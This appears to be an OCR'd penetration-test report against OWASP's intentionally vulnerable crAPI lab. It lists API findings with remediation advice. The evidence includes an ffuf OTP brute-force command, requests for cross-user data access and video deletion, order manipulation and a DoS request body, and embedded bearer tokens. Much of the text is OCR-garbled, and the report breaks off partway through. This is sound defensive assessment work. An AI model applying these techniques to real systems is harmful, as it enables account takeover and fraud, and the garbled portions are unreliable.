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Executive Report

Project Overview

Art of Vector performed an application security assessment of the crAPI platform (Completely Ridiculous API), an
intentionally vulnerable microservices application maintained by OWASP to model a connected-vehicle SaaS
environment. This report demonstrates the methodology, evidentiary standard, and reporting format used in Art
of Vector API security engagements. The assessment focused on realistic abuse paths affecting authentication,
authorization, business logic, data handling, and backend request behavior across the in-scope services.

Assessment Objectives

- ldentify vulnerabilities within the crAPI REST API in alighment with the OWASP API Security Top 10 and
related application security risks.

- Validate exploitability through analyst-developed proof-of-concept activity rather than relying solely on
automated scanner output.

- Present findings in a format that supports SOC 2 control mapping, remediation planning, and executive
reporting.

Assessment Snapshot

CRITICAL HIGH MEDIUM TOTAL FINDINGS
SCOPE TARGET
Community, Identity, Workshop, and supporting Web/mobile REST API - api.crapi-sample.local

application services

Executive Risk Visualization
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Finding Severity Distribution
10

10 -

Number of Findings

0 - 1 1 1
Critical High Medium

The chart below summarizes the distribution of confirmed findings by severity to support executive risk prioritization.

Summary of Findings

The assessment identified multiple high-risk weaknesses affecting authentication, authorization, data exposure,
transaction integrity, and input handling across the in-scope services. Several findings allowed low-privilege or
unauthenticated actors to access data belonging to other users, invoke privileged business actions, manipulate
application state, or submit crafted input capable of altering backend behavior.

The most significant themes observed during testing were inconsistent server-side authorization enforcement,
weaknesses in identity and token validation workflows, inadequate restriction of sensitive response data, and
insufficient safeguards around business process integrity. These conditions increase the likelihood of
unauthorized data access, privilege abuse, service disruption, and downstream compromise of trust boundaries.

Given the relatively low complexity of exploitation for several findings, together with the potential impact to
confidentiality, integrity, and service resilience, remediation should be prioritized before production use. Follow-
up validation is recommended to confirm the effectiveness and completeness of corrective actions.
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Vulnerability Summary

AQOV-01 - Broken Object Level Authorization -

Vehicle Location and Owner PII High 7. Logical Access
AQV-02 - Broken Object Level Authorization - . .
Mechanic Service Reports High 71 Logical Access
AQV-03 - Broken Authentication - Cross-User Critical 98 Authentication
Password Reset via OTP Brute Force ’
AOV-(.M - E)fc.esswe Data Fxposure - Other High 71 Confidentiality
Users' Sensitive Information Leakage
AQOV-05 - E ive Data E -1 |
.o 05 xcessw_e ata Exposure - Interna Medium 53 Confidentiality
Video Property Disclosure
AQV-06 - Unrestricted Resource Consumption S
Medi . Availabil
- Layer 7 DoS via Contact Mechanic G 65 vailability
AQV-07 - Broken Function Level Authorization
High 7.1 Authorizati
- Delete Another User's Video '8 uthorization
AQV-08 - Unauthorized Transaction
Manipulation - Obtain Shop Item Without High 7.1 Processing Integrity
Valid Return
AQOV-09 - Unauthorized Transaction
Manipulation - Inflate Account Balance by High 7.1 Processing Integrity
$1,000+
AOQOV-10 - Unauthorized Data Modification -
Medi . P ing | i
Internal Video Resource Properties -CIE 65 rocessing Integrity
AQV-11 - Server-Side Request Forgery - Force . .
High . E I Th P
Backend HTTP Request to www.google.com & 85 xternal Threat Protection
AQV-12 - NoSQL Injection - Redeem Coupons . —
High 7.1 DLC/ I Val
Without a Valid Coupon Code 18 Secure SDLC/ Input Validation
AQV-13 - SQL Injection - Re-redeem an . I
High . DLC/ I Val
Already Claimed Coupon ig 8.8 Secure SDLC / Input Validation
AQV-14 - Missing Authentication - Sensitive L
High 7.5 Authentication Bound
AP| Endpoint Accessible Without Credentials '8 Hthentication Boundary
AQV-15 - Broken Authentication - JWT Token Critical 98 Authentication / Cryptography

Forgery (Algorithm Confusion / JKU / KID)
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Strategic Recommendations

1. Strengthen Authorization Controls

Implement centralized object- and function-level authorization checks across all endpoints, with deny-by-default
behavior and consistent validation of user-to-resource relationships.

2. Harden Authentication Mechanisms

Enforce robust OTP protections, standardize token validation, and require JWT verification against trusted keys
and explicitly approved algorithms.

3. Reduce Data Exposure

Limit API responses to approved business fields only, suppress internal metadata, and apply response allow-lists to
sensitive objects.

4. Protect Transaction Integrity

Validate workflow state transitions server-side and ensure financial, inventory, and entitlement changes cannot be
manipulated out of sequence.

5. Mitigate Injection and SSRF Risk

Apply strict server-side validation, parameterized queries, and outbound request restrictions to reduce the attack
surface presented by untrusted input.

6. Retest After Remediation

Perform targeted remediation validation and integrate recurring API security testing into the secure development
lifecycle.
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Detailed Findings

Broken Object Level Authorization - Vehicle Location and Owner PII

AOV-01 High Logical Access
CVSS Vector CVSS:3.l/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N I
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.6 External Threats | OWASP API Top 10: API1:2023 BOLA | OWASP Top 10: A01:2021
Broken Access Control | CWE-639, CWE-285

DESCRIPTION

The API did not enforce object-level authorization when processing requests for vehicle location and owner-
related records. As a result, an authenticated low-privilege user could manipulate predictable object identifiers
to access data associated with other users, creating unauthorized exposure of sensitive account and asset
information.

HTTP/1.1 200 OK

Server: openresty/1.27.1.2

Date: Sun, 06 Sep 2026 22:08:00 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

Allow: GET, HEAD, OPTIONS

Vary: origin, Cookie
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin

{"i1d":1, "mechanic”":{"id":2, "mechanic_code":"TRAC_JME", "user":{"email”:"jam
esaexample.com”, "number":""}}, "vehicle":{"id":4,"vin":"8IGEF39BZUJ159285",
"owner":{"email":"test@example.com", "number":"9876540001"}}, "problem_detai
1s":"My car MG Motor - Hector Plus is having issues.\nCan you give me a ca
11 on my mobile 9876540001,\n0Or send me an email at testaexample.com\nThan
ks,\nTest.\n","status":"cancelled","created_on":"06 September, 2026, 14:56
115", "updated_on":null, "comments":[]}

SOLUTION / REMEDIATION

Implement consistent server-side object-level authorization for every request involving vehicle and owner
records. Authorization decisions should be based on the authenticated user's relationship to the referenced
resource, and access should be denied by default unless an explicit ownership or role-based entitlement is
validated.
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Broken Object Level Authorization - Mechanic Service Reports

AOV-02 High Logical Access
CVSS Vector CVSS:3.l/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N I
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.6 External Threats | OWASP APl Top 10: API1:2023 BOLA | OWASP Top 10: A01:2021
Broken Access Control | CWE-639, CWE-285

DESCRIPTION

Mechanic service report records were accessible through insecure object references that were not validated
against the authenticated user's permissions. This allowed a user to enumerate record identifiers and retrieve
service information belonging to other accounts, resulting in unauthorized cross-user data exposure.

mechanic_report?report

HTTP/1.1 200 OK

Server: openresty/1.27.1.2
Date: Sun, 06 Sep 2026 22:22:00
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive

Allow: GET, HEAD, OPTIONS

Vary: origin, Cookie
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin

{"id":10, "mechanic":{"id":2, "mechanic_code":"TRAC_JME", "user":{"email":"ja
mesdexample.com”, "number”:""}}, "vehicle":{"id":4,"vin": "8IGEF39BZUJ159285"
, "owner":{"email":"test@example.com”, "number":"9876540001"}}, "problem_deta
ils":"promblem here can hack me.","status":"pending”,"created_on":"06 Sept
ember, 2026, 22:21:26","updated_on":null, "comments":[]}

SOLUTION / REMEDIATION

Apply server-side authorization checks to all service report retrieval and modification workflows. Each request
should validate that the requesting user is the record owner or has a documented business need to access the
resource, with unauthorized object references rejected in a uniform and non-descriptive manner.
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Broken Authentication - Cross-User Password Reset via OTP Brute Force

AOV-03 Critical Authentication
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/1:H/A:H |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.2 Credentials; CC6.6 External Threats | OWASP API Top 10: API2:2023 Broken
Authentication | OWASP Top 10: A07:2021 Identification and Authentication Failures | CWE-307, CWE-640, CWE-287
DESCRIPTION

The password reset workflow did not include sufficient protections against OTP brute-force activity. Because
reset codes could be repeatedly submitted without effective rate limiting, lockout, or comparable abuse
controls, an attacker could eventually identify a valid OTP and reset another user's password.

$ ffuf -request re -request-proto http -w ./text.txt:FUZZ -mc 200 -fs 42 -c -v

/TN T\ /T \
NN/ NN /N
AV NPT VO NP VA W VA W W W WO
\\\/\\\/\\\\\\\\/
\ \ N\ / VL

\/___ / \/_

1
~ —|
|

\/I
\/|

\ \_
\/ \/

v2.1.0-dev

:: Method : POST
:: URL : http://192.168.56.1:8888/identity/api/auth/v2/check-otp
HH Wordllst : FUZZ: /home/kali/pentest/text.txt
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Accept: /
:: Header : Referer: http://192.168.56.1:8888/forgot-password
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Host: 192.168.56.1:8888
Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/150 0.0.0 Safari/537.36
:: Header : Content-Type: application/json

: Header : Origin: http://192.168.56.1:8888
H Header : Connection: keep-alive

: Data : {"email":"robot@@l@example.com
HE Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response size: 42
[Status 200, Size: 39, Words: 2, Lines: 1, Duration: 956ms] | URL
http://192.168.56.1:8888/identity/api/auth/v2/check-otp * FUZZ: 4198

,"otp":"FUZZ", "password":"Changepwl!"}

SOLUTION / REMEDIATION

Strengthen the password reset workflow by enforcing high-entropy OTP generation, short validity windows,
attempt thresholds, and temporary lockout controls after repeated failures. In addition, monitor reset activity
for anomalous patterns, invalidate reset artifacts immediately after successful use, and ensure the workflow
cannot be reused across sessions or identities.
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http://192.168.56.1:8888/identity/api/auth/v2/check-otp
http://192.168.56.1:8888/forgot-password
http://192.168.56.1:8888/
mailto:robot001@example.com
http://192.168.56.1:8888/identity/api/auth/v2/check-otp

Excessive Data Exposure - Other Users' Sensitive Information Leakage

AOV-04 High Confidentiality
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
REFERENCE

SOC 2 TSC: CC6.7 Information Movement; C1.1 Confidentiality (optional) | OWASP API Top 10: API3:2023 BOPLA | OWASP
Top 10: A01:2021 Broken Access Control | CWE-213, CWE-200

DESCRIPTION

The application returned sensitive user-related data elements beyond what was required for the intended
business workflow. This excessive data exposure increased the impact of otherwise legitimate API access by
disclosing information that should have been minimized, filtered, or withheld from the requesting user context.

Request Response a= =
Pretty  Raw Hex w n = Pretty  Raw Hex  Render w n =
L GET sworkshop/api/mechanic/mechanic_report?report_id=2 HTTP/1.1 7 Vary: origin, Cookie

2 Host: 192.168.56.1:8888 S X-Frame-Options: DENY

3 Cache-Control: max-age=0 2 X-Content-Type-Options: nosniff

1 Accept-lLanguage: en-US,en;g=0.9 10 Referrer-Policy: same-origin

Upgrade-Insecure-Requests: 1 11 Cross-Origin-Opener-Policy: same-origin
Authorization: Bearer lj Content-Length: 488

ey JhbGci01J5UzI1NL IS, ey JzdWI10iIhb3ZAZXhhbXBsZS5] b201L CIpYX010j E30Dg3Mzk SN YsIny 1

4cCI6MTCA0TMENDC 2Niwi cm9sZSIEInYVzZXI1i T, ODLz XBTREBk9rTS141iqo2ZUnYZSzRuDaovMb rj NCS 141 -

YektuInPUBHM7gdEINSZ1 jWFalyuuwWAvC2D4]247ng] a7] RLXt 1srOmk fP22Z3uyWe ASZZXnPsOnt TPa id":2,

_947hdUGEZLTL10ZYCiBNYa91E_tiznSptzyzDt - qoQrTFIrFoGEoHAy Zy IWxEBkHUDNIHNE ONhE] 7XD "mechanic":{
2gBact XAD_vG3MiAxtn¥TZ16LR_JgXutxFTrM7UQEVhzz2ggcVIs0pShdZVgSC] ULEQNE PIzpwZEpDyK "1 2
9647_41- f1¥YOSt hCEHZM7q_PzURRe ME20TQa AKBgSPWhFD28- Xb3Jcowlezuls “mechanic_cede":"TRAC_JHE",
7 User-Agent: Mozilla/5.0 (¥11: Linux x86_64) AppleWebKit/S37.36 (KHTML, like “user”i{
Gecko) Chrome/150.0.0.0 Safari/537.36 "email” JEWEJ@EXEWDIE com”
3 Accept: numbar
text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp, imag T }

efapng, */%;q=0,8,application/signed-exchange;v=h3;q=0.7
Accept - Encodlng gz:Lp deflate, Shr

ia)
o
S
=]
m
0
s
.
o
=
o
i
o
o
m
=
=
<
o

" BVAUTO3PRUGEEE911" ,

“owner":{
"email":"poghal06@example. com”,
"number": "9876570008"

T

i

"problem_details":

"My car MG Motor - Hector Plus is having issues.%nCan you give me a call on
my mobile 9876570006,%\n0Or send me an email at pogbaOO6@example.com\nThanks
,\nPogba.\n",

"status":"pending",
"created_on":"08 September, 2026, 14:56:15",
"updated_on":inull,

“comments":

SOLUTION / REMEDIATION

Review response payloads and reduce them to the minimum fields necessary to support the intended client
function. Implement response allow-lists, role-aware serialization, and API contract reviews to ensure sensitive
attributes are disclosed only where there is a validated and documented business requirement.
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Excessive Data Exposure - Internal Video Property Disclosure

Finding ID Severity CVSS

AOV-05

Medium 5.3

Control Focus

Confidentiality

REFERENCE

SOC 2 TSC: CC6.7 Information Movement; C1.1 Confidentiality (optional) | CWE-213

DESCRIPTION

Video-related APl responses exposed internal properties that were not necessary for standard client
consumption. Although the disclosed values may not independently grant access, they reveal implementation
details and internal metadata that could assist further reconnaissance or facilitate follow-on attacks.

Request

Pretty Raw Hex

POST /identity/api/v2/user/videos HTTP/1.1

Host: 192.168.56.1:8888

Content-Length: 2264134

Authorization: Bearer

ey IhbGei0i I5UzT1NL 19, ey J2dWI 101 Ihb3ZAZXhhb ¥BsZS5] b201L CIpYX0i0j E30Dg3Mzk SN YsT
mV4c CTEMTc40THONDC 2Miwicm9IsZSTEInVzZXTif0. ODLz XEFRBk 9rT914iq02ZUnYZSzRuDacvHbr
JHCOYektuInPUBHN7gdEINSZ1iWf gUyuuWAv C2041247ngja7] RLXt 1srOmk fP22Z3uyWe A3ZZXnPs
Dmt fPa_947hdUGOZLTL10ZYCiBWYa9iBE tiznSptzyzDt - qoQrTFIrFoOEoH4dy Zy TWxESk HUDW IHNe
OMhE] 7XD2gBact KAD vG3MiAxtn¥YTZ16LR JgXut xFTrM7U06Vhzz2g9g9cVIsOpSbdZVaSC] ULEQHE P
JzpwZEpDyKS647_4T-fLYYOSthCEHZMT7o_PzURReME20TOaAKBqSPWhFD28 - Kb3JcwlezulA
Accept-Language: en-US,en:g=0.9

User-Agent: Mozilla/5.0 (X11: Linux x86_64) AppleWebKit/S37.36 (KHTML, like
Gecko) Chrome/150.0.0.0 Safari/537.36

Content -Type: multipart/form-data;

boundary=-- - -WebKitFarmBoundaryl OXqARScabWVpCtas

& Accept: #/k

B

@ wn

S Origin: http://192.168.56.1:8888
Referer: http://192.168.56.1:8888/my-profile
Accept -Encoding

gzip, deflate, br

e

------ WebKitFormBoundaryl OXgARScabWVpCad
: Content-Disposition: form-data; name="file"; filename="307130 tiny.mp4"
Content -Type: video/mpd

& ftypisoSisoSisoGmpdlmoovimvhdé@trakitkhd@DgedtselstOmdia mdhdu0ClhdlrvideCore
Media Video=minfvmhd$dinfdrefurl idstbl°®stsd avclBHHLavc58,37.100
1ibx264§y7aveCdyagd-U@rejudEheaE" Ajercol rnclxsttsstscstszstcolimvex
trexbudtaZmeta!'hdlrndirappl -ilst%otoodatalavfs9, 27,1008no0fmfhd
traftfhdeé st fdtetrun

G@"+OEDE U 0+88) EOLE+0) €, \0S2é/30C0E /6001, 100060603, StOEEE , | DONEOCOE E*rO| €.
GOAE0GOLE, #1101 Aé+£0HEE+ONSE - ¢ * Ové - $900£00056€, ml 09€ - UMD & /FOZE/ mWTL €, FOUEOUOm
3E-yOTE, ARONE /" *Oxé/ 0] €2HO 1 &/10{0é /KD%pE , "k, £30DE 20y ONPEOKQORIEC[ 07y  mO#E/ (1
OW0E /& «0z&é2b0CUE2( OYUE3ROL 29401 1/ A07E2- 05h & OwwOKi &/ 00ué 1dhOHAE - Og0 - é0pxD~4é
/OTOVEL¥ONELRO] €/ +a0dHE /% 7OKBEL ~>000€ 2RA0 1£260U%E - Xy Df §é0imdat yyoUEéSzUH . , @

19

SOLUTION / REMEDIATION

Introduce explicit output models for video-related endpoints and suppress internal-only fields from client-facing

Response

Pretty

Raw Hex Render

HTTP/1.1 200

Server:

Date:

openresty/1.27.1.2
Mon, 07 Sep 2026 01:33:24 GMT

Content -Type: application/json
Connection: keep-alive

Vary:
Vary:
Vary:

Origin
Access-Control-Request -Method
Access-Control -Request -Headers

Access-Control-Allow-0Origin: *

¥-Content -Type-Options:

nosniff

X-¥SS-Protection: 0

* Cache-Control: no-cache, no-store, max-age=0,
Pragma:

must-revalidate
no-cache

Expires: 0

Strict-Transport-Security:
¥-Frame-Options:

max-age=31536000 ; includeSubDomains

DERY

Content-Length: 3018712

{

"id":6,
"video_name":"307130_tiny mp4",
"conversion_params":"-v codec h264",

"profileVideo":

"data:image/ipeg;base6d, AAAAHGZOe XBpC 281 AAACAGL zbzVpc282h KACMOAA ARt 1 h292ARA
AbGL2aGOAAAAAAAARAAAALARAAAPOARAAAALBAAABAAARAAAALARAAAARAAARARARAAAARARAL
ARAAEAAAAAARAAAAAAAAAAAEAAAAARAARAAAARAAAAAAAAARAARAAAARAAAAAAAAACAAACHKRYY
WsAAABCAGtoZAAAAAMARARARAAAAAAAAAEARARAAAALARARAAARARAAAARARARAAARARAAOARARAL
AARAAAAKARAARAEARAAAALARAAAAAARAAEARARAFAAAAAL ARARARACRL ZHRZ ARARHGSCS0ARAAA
AAAAAADAARAAAAATSAAEARARAAZVEZGLhAAKAIGLEaGOAAARARARAAAAAAAAARHUWAAAAABKHAA
AAAAAXEGRSCOAAAAAAAAAADNTKZOAAAAAAARARARAAAENY CMUGTWVKEWEQVNLk ZWBAARABPGLpb
mYAAAAUN Lo ZAAAAAEAAARARAAAAAAAACRK ANSMAAAAHGRY ZWY ARAAAAAAAADAARARLCIWG ARAA
AQAAAPXZdGISAAAASHNOC 20AAAAAAAAAAQARAKBhdNM AAARARARAAEAAAAAARARARAAAALAAAA
ABOACOABIAAAASAAAAAAAAAABFUxhdmMLOS4zNy 4xMDAGhGLieDIZNAAAAAAARARARAAAGR/ /AR
AANZFZYOMBZAAT / +EAGNdk AB+s2UB0BbpqAgL CgAABIIAAIT AH] B LAQAGa OV yyLA/ T] JAAAAA
BNib2xybmNseAABAAEAADAAAAAQCSROCWAAAAAAAAAAAAAAEHNOCZMAAAAAAAAARAAAABRZ dHNG

responses. Backend services should return only approved business data elements, with internal identifiers,
processing state, and implementation metadata excluded unless specifically required and authorized.
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Unrestricted Resource Consumption - Layer 7 DoS via Contact Mechanic

AOV-06 Medium Availability
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
REFERENCE

SOC 2 TSC: Al1.1 Capacity; A1.2 Environmental Protections | OWASP API Top 10: API4:2023 Unrestricted Resource
Consumption | OWASP Top 10: A04:2021 Insecure Design | CWE-770, CWE-400

DESCRIPTION

The contact mechanic functionality could be invoked repeatedly in a manner that imposed disproportionate
demand on backend resources. In the absence of effective throttling, quota enforcement, or abuse detection, a
low-privilege user could degrade service availability through excessive request volume.

Request Response ==

Pretty Raw Hex 0 o= Pretty Raw Hex Render w no =

l POST /workshop/api/merchant /contact_mechanic HTTP/1.1

2 Host: 1592.168.56.1:8888

3 Content-Length: 214

4 Authorization: Bearer
eyJhbGei01J5UzI1NLII9, ey JzdWIi01Ihb3ZAZXhhbXBsZS5] b201LCIpYX010] E30Dg 3NDLWMDUS
ImV4cCIEMTC40THOOTgwNSwiem3sZSIETnV2ZXT1 0. Ot kdiyq_KawWFSOSBW_YO441RyStwYicRi
XY qKBGAMIPFADGONE r - 1 SXn7u3xKykROgSSOWC Tt 1 HGriDwrybOT Cy fMdSbDGIF1 Oz_haLaxN
Up 30gZHZXKnanZRSRRwSVd fOSLekd - Mj Ksb Cvzzdt TKk VSPLHx BpV JOCCSS41by TPVgoUKAYS9GhT
QgleGKpaWameN- iwQIIBY_3RnKCFVUUgXSna it 2k M20vEYWS] OGkH] ol _EKEK] AKz0l KBozeKHE
H10z Vvt 0Ty 2EUyGaCr_9ABDFUy - PNEvEIvwO6El uhngfGmEIZXMp01s0xsj vNy GuWABD1FyCCGD2HFg 1

HTTP/1.1 503 Service Unavailable
Server: openresty/1.27.1.2
Date: Mon, OF Sep 2026 01:50:05 GHT
Content -Type: application/ison
Connection: keep-alive
Allow: POST, OPTIONS
Vary: origin, Cookie
access-control-allow-origin: #
X-Frame-Options: DENY
X-Content -Type-Options: nosniff

(SRR N T, SN

S Accept-Language: en-US,en;g=0.9 11 Referrer-Policy: same-origin
5 User-Agent: Mozilla/5.0 (¥1l; Linux xB&_64) AppleWebKit/537.36 (KHTHL, like 12 Cross-Origin-Opener-Policy: same-origin
Gecko) Chrome/s150.0.0.0 Safari/537.36 13 Content-Length: 71
7 Content-Type: application/json 14
5 Accept: /¥ 15| {
2 Origin: http://192,1658,56,1: 8888 "message" ! "Service unavailable. Seems like you caused layer 7 DoS :)"
10 Referer: http://192 168,56, 1:8888/contact -mechanic?VIN=P333LY3281P507828 T

11 Accept-Encoding: gzip, deflate. br
12 Connection: keep-alive

14 {
"mechanic_code":"TRAC_JHN",
"problem_details": "hack",
"vin":"P333LY3281P507828",
"mechanic_api":
"http://192 168.56.1:8888/workshop/api/mechanic/receive_report”,
"repeat_request_if_failed":true,
"number_of_repeats":172

¥

SOLUTION / REMEDIATION

Implement layered protections for resource-intensive workflows, including rate limiting, per-user quotas,
gueueing where appropriate, and anomaly detection for abusive usage patterns. Operational monitoring should
also be enhanced so sudden increases in request volume can be identified, contained, and investigated in a
timely manner.

Art of Vector | Confidential | crAPI Security Assessment | Page 11 of 24



Broken Function Level Authorization - Delete Another User's Video

AOV-07 High Authorization
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; CC6.3 Access Modification | OWASP API Top 10: API5:2023 BFLA | OWASP Top 10: A01:2021
Broken Access Control | CWE-285, CWE-862

DESCRIPTION

The API did not adequately enforce function-level authorization for a video deletion capability. As a result, an
authenticated user could invoke a destructive action against another user's content without demonstrating
appropriate ownership or privilege, creating a direct integrity risk.

Request Response a= =

Pretty Raw Hex w n = Pretty Raw Hex Render wn no=

HTTR/1.1 200
Server: openresty/1.27.1.2
Date: Mon, OF Sep 2026 01:465:47 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Regquest-Headers
X-Content-Type-Options: nosniff

1 DELETE fidentity/api/fv2/adninfvidecs/6 HTTP/1.1

Host: 192,168 56.1: 8888

3 Authorization: Bearer
ey JhbGei01J5UzT1MN1IS, ey JzdWI101Ihb3ZAZXhhbX¥BsZ55] b201LCIpY¥010] E30Dg3MzkSN] YsInV
AcCIEMTC40TMONDC2ZNIwlemSsZSIEInVzZXI1T0, 0DLzXBTRBkSrTI141q02ZUnYZ5zRubaovMb rj NCS
YektuInPUSHN7gdEINSZ1 ) WgUyuuWAy C2041247nq) a7) RLXt 1srOmk TP22Z3uyWe ASZZXnPsDnt fPa
_947hdUGOZLTLIGZYCiBWYa%1iB_tiznSptzyzDt - qoQrTFSrFoQEcH4y Zy IWxE8k HUDWIHNe ONhE] 75D
2gBact KAD vG3MiAxtnYTZ16LR_JoXutxFTrM7UQ06Vhzz 299cVIs0p9bdZVgSCi ULEQNT PIzpwZEpDy K
9647_4I-flYY0stbCEHZm7q_PzURReME2qTQaAK8qSPWhFD28- Xb3Jcwlezula

N}

R N T ST N

4 Accept-Language: en-US,en;g=0.9 10 X-XSS-Protection: ©

S User-Agent: Mozillas/5.0 (X11: Linux x86_64) AppleWsbkit/537 .36 (KHTML, like 11 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Gecko) Chrome/150.0.0.0 Safari/537.36 12 Pragma: no-cache

& Content-Type: application/x-www-form-urlencoded 13 Expires: O

7 Accept: #/% 14 Strict-Transport-Security: max-age=31538000 ; includeSubDomains

2 Referer: http://192.168.56.1:8888/my-profile 15 ¥-Frame-Options: DEMY

2 Accept-Encoding: gzip, deflate, br 15 Content-Length: 59

o

17
18| {

-

8]

"message":"User video deleted successfully.",
3 “status":200
T

SOLUTION / REMEDIATION

Require explicit server-side authorization for all destructive or privileged business functions, including delete
operations. The application should verify both the caller's role and ownership relationship to the target resource
before permitting the action, and all unauthorized attempts should be logged for review.
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Unauthorized Transaction Manipulation - Obtain Shop Item Without Valid Return

AOV-08 High Processing Integrity
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; PI1.1 Processing Integrity (optional) | OWASP API Top 10: API6:2023 Business Flows;
API3:2023 BOPLA | OWASP Top 10: A04:2021 Insecure Design; A01:2021 Broken Access Control | CWE-915

DESCRIPTION

The shop workflow contained a business logic weakness that allowed users to obtain an item without satisfying
the intended return or validation conditions. By manipulating the transaction sequence, a user could cause the
backend to accept state transitions that should only occur after successful completion of prerequisite steps.

Request Response = =

Pretty Raw Hex 0 no= Pretty Raw Hex Render w0 n o=

1 PUT sworkshop/api/shopforders/7 HTTP/1.1 1 HITPfl.1 200 OK

Host: 192,168, 56,1:8888 2 Server: openresty/1.27.1.2

2 Authorization: Bearer S Date: Mon, 07 Sep 2026 02:14:50 GMT

ey JhbGei0iJSUzT1NG I8, ey JzdWIi01Ihb3ZAZXhhb¥BsZS5] b20il CIpYX010] E30Dg3NDUWMDUs T 4 Content-Type: application/json
c
6
E]

8]

4cCIEMTCA0TMOOTgwNSwicmIsZSIEINVZZXI1fO. Otkdiyq_KaWWFSQSBW_YQ4ALIRVStwYicRiAKCYgK S Connection: keep-alive

BGAMIPfdDGONe r-15Xm7u3xKy kROgSSDWC IDt iHEriDwry b QI Cy fHd ShDGOFL OWz_hALaxNUp 30qZHZX & &llow: GET, POST, PUT, HEAD, OPTIONS
KnanZRSRRwSVd fOS1lekd- Mj KsbhCvzzdt TKk VSPLHx8pVI0CcS541by TPV oK 4Y99Gh T Qg le GKpOWSme 7 VWary: origin. Cookie
M-iwQIIBY_3RnKCFVuUgXSna4iot 2kM20vSYWE] OGhH] ol _EKEK] AKzO1 KBozeKHBH10zVt 0Ty 2EUyGa

5 X-Frame-Options: DENY
Cr_SAEDFuUy - PNEVETvwOEL uhnq f GnETZXMp Ol sDxs] vNy GvVABD1Fy CCBD3HFg g

S ¥-Content-Type-Options: nosniff

4 Accept-Language: en-US,en;q=0.9 10 Referrer-Policy: same-origin
S User-Agent: Mozilla/5.0 (¥11l; Linux x86_64) AppleWebkit/537.36 (KHTML, like 11 Cross-0Origin-Opener-Policy: same-origin
Gecko) Chrome/150.0.0.0 Safari/537.36 12 Content-Length: 288
& Content-Type: application/json 13
7 Accept: #/#% 14 {
2 Referer: http://192.168.56.1:8888/orders?order_id=7 "orders":{
S Accept-Encoding: gzip, deflate, br "id":7,
-0 Connection keep;alive "user:{
.1 Content-Length: 34 "email": "aov@exanple. com",
2 “number”:"1234567891"
31 T
“quantity":1, “product " {
"status": "returned" "1
)

"image_| ur'l i"images/wheel . svg"

"quantity":1,

"status":"returned",
“transaction_id":"092aa27¢c-eB817-4e4b-b7a5-703394346c0c",
“created_on":"2026-09-07T01: 45: 15, 296852"

SOLUTION / REMEDIATION

Rework the affected business process so each transaction step is validated on the server against an authoritative
state model. Entitlement changes, item issuance, and workflow completion events should occur only after all
prerequisite actions are verified as valid, complete, and attributable to the requesting account.
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Unauthorized Transaction Manipulation - Inflate Account Balance by $1,000+

AOV-09 High Processing Integrity
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N |
REFERENCE

SOC 2 TSC: CC6.1 Logical Access; PI1.1 Processing Integrity (optional) | OWASP API Top 10: API6:2023 Business Flows;
API3:2023 BOPLA | OWASP Top 10: A04:2021 Insecure Design; A01:2021 Broken Access Control | CWE-915

DESCRIPTION

The account balance workflow did not adequately protect the integrity of transaction processing. This allowed a
user to manipulate the sequence or content of requests in a way that inflated account value beyond authorized
limits, resulting in unauthorized financial state changes within the application.

Request Response a= =
Pretty Raw Hex w n = Pretty Raw Hex Render w moE
1 PUT sworkshop/api/shop/orders/8 HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 192.168.56.1:8888 2 Server: openresty/1.27.1.2
3 Authorization: Bearer 3 Date: Mon, 07 Sep 2026 02:21:02 GMT
ey JhbGeiniISUz T1NI 9. ey JzdWTi01 Jhb3ZAZXhhbXBsZ55] h201 LCIpYX01i0j E30Dg3NDUWMDUSTmY 4 Content-Type: application/json
4cCIEMTC40TMO0T gwhSwicm9sZSI6InVZZXIiT0, Otkdiyg_KaWWFS09BW_YO4ALRy StwYlcRiAXCYQK S Connectien: keep-alive
BGdMIPTdDGONer - 1SXm?quKykRDQSSDWCID‘t1HSrlDurybOICnydSbDGBFlUﬁ\‘Z hALaxNUp30qZHZX & Allow: GET, POST, PUT, HEAD, OPTIONS
KnanZRSRRwSVdf0S1lekd- MjKshCvzzdt TKkVSPLHx8pVIOCC554iby TPVgoUKAYS9GhTOgl e GKpGWImC 7 Vary: origin, Cookie
N-iwOIIBY_3RnKCFVuUgXSnadiot 2kM20vSYWS] 0GhH] ol _EKEK] AKzO1 KBozeKHBH1 0z vt 0Ty 2EUy Ga S X-Frame-Options: DENY
Cr_9A6DFuy - PNEvEI\twOEluhanGmSIZXHpUlstsjvNyG\t\'ASDleCCGD2HFg 9 X-Content-Type-Options: nosniff
4 Accept-lLanguage: en-US,en;g=0.9 10 Referrer-Policy: same-origin
